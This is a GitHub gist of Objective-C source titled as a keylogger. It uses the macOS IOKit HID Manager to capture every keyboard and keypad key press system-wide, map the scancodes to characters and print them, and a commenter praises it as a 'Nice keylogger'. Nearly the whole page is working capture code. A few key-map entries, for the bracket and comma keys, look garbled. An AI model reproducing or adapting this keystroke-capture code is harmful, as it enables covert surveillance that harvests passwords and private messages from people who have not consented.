Skip to content

Instantly share code, notes, and snippets.

@PLG
Last active February 8, 2022 20:56
Show Gist options
  • Save PLG/2d92b2d5eba3d074879e0a286cfaa605 to your computer and use it in GitHub Desktop.
Save PLG/2d92b2d5eba3d074879e0a286cfaa605 to your computer and use it in GitHub Desktop.
Skrew Everything Keylogger using HID in Objective-C
//
// main.m
// UniversalStatusBarClient
//
#import <Cocoa/Cocoa.h>
#import <IOKit/hid/IOHIDLib.h>
NSArray* keyMap[256];
void fill_keyMap(NSArray * __strong map[]);
//-----------------------------------------------------------------------------------------------------------------------------
#pragma mark -
// https://developer.apple.com/library/content/documentation/DeviceDrivers/Conceptual/HID/new_api_10_5/tn2187.html
// function to create matching dictionary
//
static CFMutableDictionaryRef hu_CreateDeviceMatchingDictionary(UInt32 inUsagePage, UInt32 inUsage)
{
// create a dictionary to add usage page/usages to
//
CFMutableDictionaryRef result=
CFDictionaryCreateMutable(kCFAllocatorDefault, 0, &kCFTypeDictionaryKeyCallBacks, &kCFTypeDictionaryValueCallBacks);
if (!result) {
fprintf(stderr, "%s: CFDictionaryCreateMutable failed.", __PRETTY_FUNCTION__);
return result;
}
if (!inUsagePage) return NULL;
// Add key for device type to refine the matching dictionary.
//
CFNumberRef pageCFNumberRef = CFNumberCreate(kCFAllocatorDefault, kCFNumberIntType, &inUsagePage);
if (!pageCFNumberRef) {
fprintf(stderr, "%s: CFNumberCreate(usage page) failed.", __PRETTY_FUNCTION__);
return NULL;
}
CFDictionarySetValue(result,CFSTR(kIOHIDDeviceUsagePageKey), pageCFNumberRef);
CFRelease(pageCFNumberRef);
// note: the usage is only valid if the usage page is also defined
if (!inUsage) return NULL;
CFNumberRef usageCFNumberRef = CFNumberCreate(kCFAllocatorDefault, kCFNumberIntType, &inUsage);
if (!usageCFNumberRef) {
fprintf(stderr, "%s: CFNumberCreate(usage) failed.", __PRETTY_FUNCTION__);
return NULL;
}
CFDictionarySetValue(result, CFSTR(kIOHIDDeviceUsageKey), usageCFNumberRef);
CFRelease(usageCFNumberRef);
return result;
} // hu_CreateDeviceMatchingDictionary
//-----------------------------------------------------------------------------------------------------------------------------
#pragma mark -
#pragma mark Handle_*()
// this will be called when the HID Manager matches a new (hot plugged) HID device
//
static void Handle_DeviceMatchingCallback(
void * inContext, // context from IOHIDManagerRegisterDeviceMatchingCallback
IOReturn inResult, // the result of the matching operation
void * inSender, // the IOHIDManagerRef for the new device
IOHIDDeviceRef inIOHIDDeviceRef // the new HID device
)
{
printf("%s(context: %p, result: %p, sender: %p, device: %p).\n",
__PRETTY_FUNCTION__, inContext, (void *) inResult, inSender, (void*) inIOHIDDeviceRef);
} // Handle_DeviceMatchingCallback
// this will be called when a HID device is removed (unplugged)
//
static void Handle_RemovalCallback(
void * inContext, // context from IOHIDManagerRegisterDeviceMatchingCallback
IOReturn inResult, // the result of the removing operation
void * inSender, // the IOHIDManagerRef for the device being removed
IOHIDDeviceRef inIOHIDDeviceRef // the removed HID device
)
{
printf("%s(context: %p, result: %p, sender: %p, device: %p).\n",
__PRETTY_FUNCTION__, inContext, (void *) inResult, inSender, (void*) inIOHIDDeviceRef);
} // Handle_RemovalCallback
static void Handle_IOHIDInputValueCallback(
void * inContext, // context from IOHIDManagerRegisterInputValueCallback
IOReturn inResult, // completion result for the input value operation
void * inSender, // the IOHIDManagerRef
IOHIDValueRef inIOHIDValueRef // the new element value
)
{
// printf("%s(context: %p, result: %p, sender: %p, value: %p).\n",
// __PRETTY_FUNCTION__, inContext, (void *) inResult, inSender, (void*) inIOHIDValueRef);
// https://developer.apple.com/library/content/documentation/DeviceDrivers/Conceptual/HID/new_api_10_5/tn2187.html#//apple_ref/doc/uid/TP40000970-CH214-SW15
//
IOHIDElementRef elementRef= IOHIDValueGetElement(inIOHIDValueRef);
uint32_t scancode = IOHIDElementGetUsage(elementRef); // http://www.usb.org/developers/hidpage#HID_Usage
long pressed= IOHIDValueGetIntegerValue(inIOHIDValueRef);
if ((IOHIDElementGetUsagePage(elementRef) == 0x01) // GENERIC DESKTOP PAGE (0X01)
|| (IOHIDElementGetUsagePage(elementRef) == 0x07)) // KEYBOARD/KEYPAD PAGE (0X07)
{
// if (scancode == -1) pressed is the |OR of all keys held, pressed == 0, means clear and read next scancode of -1
if (scancode == -1)
return;
// if (scancode == 1 && pressed == 0), this sems to be a clear before a key pressed up/down, with 3 < scancode && scancode < 231
if (scancode == 1)
return;
if (3 < scancode && scancode < 231)
{
// IOHIDElementType tType = IOHIDElementGetType(elementRef)
// kIOHIDElementTypeInput_Misc = 1,
// kIOHIDElementTypeInput_Button = 2,
// CFStringRef name = IOHIDElementGetName(elementRef); // (null)
char psz_msg[100];
sprintf(psz_msg,"(UsagePage:%#04x, Type:%d, scancode:%#04x, char:'%s', pressed:%ld)",
IOHIDElementGetUsagePage(elementRef),
IOHIDElementGetType(elementRef),
scancode,
[keyMap[scancode][0] UTF8String] ,
pressed);
printf("%s\n",psz_msg);
return;
}
else printf("scancode < 4 || scancode > 231 ... ");
}
else printf("IOHIDElementGetUsagePage(elementRef) != 0x07 || 0x01 ... ");
printf("(UsagePage: %#04x, Type: %d, scancode: %#04x, pressed: %ld).\n",
IOHIDElementGetUsagePage(elementRef), IOHIDElementGetType(elementRef), scancode, pressed);
} // Handle_IOHIDInputValueCallback
//-----------------------------------------------------------------------------------------------------------------------------
#pragma mark -
#pragma mark main()
int main(int argc, const char * argv[])
{
fill_keyMap(keyMap);
IOHIDManagerRef managerRef = IOHIDManagerCreate(kCFAllocatorDefault, kIOHIDOptionsTypeNone);
if (CFGetTypeID(managerRef) != IOHIDManagerGetTypeID())
{
NSLog(@"Can't create manager");
exit(1);
}
// create an array of matching dictionaries
CFMutableArrayRef matchingArrayRef = CFArrayCreateMutable(kCFAllocatorDefault, 0, &kCFTypeArrayCallBacks);
if (matchingArrayRef)
{
CFDictionaryRef matchingDictRef;
// create a device matching dictionary for keyboards
//
matchingDictRef = hu_CreateDeviceMatchingDictionary(kHIDPage_GenericDesktop, kHIDUsage_GD_Keyboard);
if (matchingDictRef)
{
CFArrayAppendValue(matchingArrayRef, matchingDictRef);
CFRelease(matchingDictRef); // and release it
}
else {
fprintf(stderr, "%s: hu_CreateDeviceMatchingDictionary(keyboard) failed.", __PRETTY_FUNCTION__);
}
// create a device matching dictionary for key pads
//
matchingDictRef = hu_CreateDeviceMatchingDictionary(kHIDPage_GenericDesktop, kHIDUsage_GD_Keypad);
if (matchingDictRef)
{
CFArrayAppendValue(matchingArrayRef, matchingDictRef);
CFRelease(matchingDictRef); // and release it
}
else {
fprintf(stderr, "%s: hu_CreateDeviceMatchingDictionary(key pad) failed.", __PRETTY_FUNCTION__);
}
// create a device matching dictionary for mice
//
// matchingDictRef = hu_CreateDeviceMatchingDictionary(kHIDPage_GenericDesktop, kHIDUsage_GD_Mouse);
// if (matchingDictRef)
// {
// CFArrayAppendValue(matchingArrayRef, matchingDictRef);
//
// CFRelease(matchingDictRef); // and release it
// }
// else {
// fprintf(stderr, "%s: hu_CreateDeviceMatchingDictionary(key pad) failed.", __PRETTY_FUNCTION__);
// }
} else {
fprintf(stderr, "%s: CFArrayCreateMutable failed.", __PRETTY_FUNCTION__);
}
// set the HID device matching array
// Sets multiple matching criteria (array of dictionaries) for device enumeration.
//
IOHIDManagerSetDeviceMatchingMultiple(managerRef, matchingArrayRef);
CFRelease(matchingArrayRef);
//-----
// Register device matching callback routine
// This routine will be called when a new (matching) device is connected.
IOHIDManagerRegisterDeviceMatchingCallback(managerRef,&Handle_DeviceMatchingCallback,NULL);
// Registers a routine to be called when any currently enumerated device is removed.
// This routine will be called when a (matching) device is disconnected.
IOHIDManagerRegisterDeviceRemovalCallback(managerRef,&Handle_RemovalCallback,NULL);
//-----
// Scheduling the loop
//
IOHIDManagerScheduleWithRunLoop(managerRef, CFRunLoopGetCurrent(), kCFRunLoopDefaultMode);
// Open HID Manager
//
IOReturn ioReturn = IOHIDManagerOpen(managerRef, kIOHIDOptionsTypeNone);
if (ioReturn != kIOReturnSuccess)
{
printf("Can't open HID!");
}
//-----
// Once a connection to the HID manager is open,
// developers may register a routine to be called when input values change
//
IOHIDManagerRegisterInputValueCallback(managerRef,&Handle_IOHIDInputValueCallback,NULL);
//-----
int res= NSApplicationMain(argc, argv); // RunLoop
IOHIDManagerClose(managerRef, kIOHIDOptionsTypeNone);
CFRelease(managerRef);
return res;
}
//-----------------------------------------------------------------------------------------------------------------------------
#pragma mark -
#pragma mark keyMap
void fill_keyMap(NSArray * __strong map[])
{
// https://stackoverflow.com/questions/1602572/how-to-create-an-array-of-strings-in-objective-c-for-iphone
map[0x04] = @[@"a",@"A"];;
map[0x05] = @[@"b",@"B"];;
map[0x06] = @[@"c",@"C"];
map[0x07] = @[@"d",@"D"];
map[0x08] = @[@"e",@"E"];
map[0x09] = @[@"f",@"F"];
map[0x0A] = @[@"g",@"G"];
map[0x0B] = @[@"h",@"H"];
map[0x0C] = @[@"i",@"I"];
map[0x0D] = @[@"j",@"J"];
map[0x0E] = @[@"k",@"K"];
map[0x0F] = @[@"l",@"L"];
map[0x10] = @[@"m",@"M"];
map[0x11] = @[@"n",@"N"];
map[0x12] = @[@"o",@"O"];
map[0x13] = @[@"p",@"P"];
map[0x14] = @[@"q",@"Q"];
map[0x15] = @[@"r",@"R"];
map[0x16] = @[@"s",@"S"];
map[0x17] = @[@"t",@"T"];
map[0x18] = @[@"u",@"U"];
map[0x19] = @[@"v",@"V"];
map[0x1A] = @[@"w",@"W"];
map[0x1B] = @[@"x",@"X"];
map[0x1C] = @[@"y",@"Y"];
map[0x1D] = @[@"z",@"Z"];
map[0x1E] = @[@"1",@"!"];
map[0x1F] = @[@"2",@"@"];
map[0x20] = @[@"3",@"#"];
map[0x21] = @[@"4",@"$"];
map[0x22] = @[@"5",@"%"];
map[0x23] = @[@"6",@"^"];
map[0x24] = @[@"7",@"&"];
map[0x25] = @[@"8",@"*"];
map[0x26] = @[@"9",@"("];
map[0x27] = @[@"0",@")"];
map[0x28] = @[@"\n",@"\n"];
map[0x29] = @[@"\\ESCAPE",@"\\ESCAPE"];
map[0x2A] = @[@"\\DELETE|BACKSPACE",@"\\DELETE|BACKSPACE"]; //
map[0x2B] = @[@"\\TAB",@"\\TAB"];
map[0x2C] = @[@" ",@" "];
map[0x2D] = @[@"-",@"_"];
map[0x2E] = @[@"=",@"+"];
map[0x2F] = @[@"[@",@"{"];
map[0x30] = @[@"];",@"}"];
map[0x31] = @[@"\\",@"|"];
map[0x32] = @[@"",@""]; // Keyboard Non-US# and ~2
map[0x33] = @[@";",@":"];
map[0x34] = @[@"'",@"\""];
map[0x35] = @[@"`",@"~"];
map[0x36] = @[@",@",@"<"];
map[0x37] = @[@".",@">"];
map[0x38] = @[@"/",@"?"];
map[0x39] = @[@"\\CAPSLOCK",@"\\CAPSLOCK"];
map[0x3A] = @[@"\\F1",@"\\F1"];
map[0x3B] = @[@"\\F2",@"\\F2"];
map[0x3C] = @[@"\\F3",@"\\F3"];
map[0x3D] = @[@"\\F4",@"\\F4"];
map[0x3E] = @[@"\\F5",@"\\F5"];
map[0x3F] = @[@"\\F6",@"\\F6"];
map[0x40] = @[@"\\F7",@"\\F7"];
map[0x41] = @[@"\\F8",@"\\F8"];
map[0x42] = @[@"\\F9",@"\\F9"];
map[0x43] = @[@"\\F10",@"\\F10"];
map[0x44] = @[@"\\F11",@"\\F11"];
map[0x45] = @[@"\\F12",@"\\F12"];
map[0x46] = @[@"\\PRINTSCREEN",@"\\PRINTSCREEN"];
map[0x47] = @[@"\\SCROLL-LOCK",@"\\SCROLL-LOCK"];
map[0x48] = @[@"\\PAUSE",@"\\PAUSE"];
map[0x49] = @[@"\\INSERT",@"\\INSERT"];
map[0x4A] = @[@"\\HOME",@"\\HOME"];
map[0x4B] = @[@"\\PAGEUP",@"\\PAGEUP"];
map[0x4C] = @[@"\\DELETE-FORWARD",@"\\DELETE-FORWARD"]; //
map[0x4D] = @[@"\\END",@"\\END"];
map[0x4E] = @[@"\\PAGEDOWN",@"\\PAGEDOWN"];
map[0x4F] = @[@"\\RIGHTARROW",@"\\RIGHTARROW"];
map[0x50] = @[@"\\LEFTARROW",@"\\LEFTARROW"];
map[0x51] = @[@"\\DOWNARROW",@"\\DOWNARROW"];
map[0x52] = @[@"\\UPARROW",@"\\UPARROW"];
map[0x53] = @[@"\\NUMLOCK",@"\\CLEAR"];
// Keypads
map[0x54] = @[@"/",@"/"];
map[0x55] = @[@"*",@"*"];
map[0x56] = @[@"-",@"-"];
map[0x57] = @[@"+",@"+"];
map[0x58] = @[@"\\ENTER",@"\\ENTER"];
map[0x59] = @[@"1",@"\\END"];
map[0x5A] = @[@"2",@"\\DOWNARROW"];
map[0x5B] = @[@"3",@"\\PAGEDOWN"];
map[0x5C] = @[@"4",@"\\LEFTARROW"];
map[0x5D] = @[@"5",@"5"];
map[0x5E] = @[@"6",@"\\RIGHTARROW"];
map[0x5F] = @[@"7",@"\\HOME"];
map[0x60] = @[@"8",@"\\UPARROW"];
map[0x61] = @[@"9",@"\\PAGEUP"];
map[0x62] = @[@"0",@"\\INSERT"];
map[0x63] = @[@".",@"\\DELETE"];
map[0x64] = @[@"",@""]; //
/////
map[0xE0] = @[@"\\LCTRL",@"\\LCTRL"]; // left control
map[0xE1] = @[@"\\LSHIFT",@"\\LSHIFT"]; // left shift
map[0xE2] = @[@"\\LALT",@"\\LALT"]; // left alt
map[0xE3] = @[@"\\LCMD",@"\\LCMD"]; // left cmd
map[0xE4] = @[@"\\RCTRL",@"\\RCTRL"]; // right control
map[0xE5] = @[@"\\RSHIFT",@"\\RSHIFT"]; // right shift
map[0xE6] = @[@"\\RALT",@"\\RALT"]; // right alt
map[0xE7] = @[@"\\RCMD",@"\\RCMD"]; // right cmd
}
@Pradhu007
Copy link

Nice keylogger mate!

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment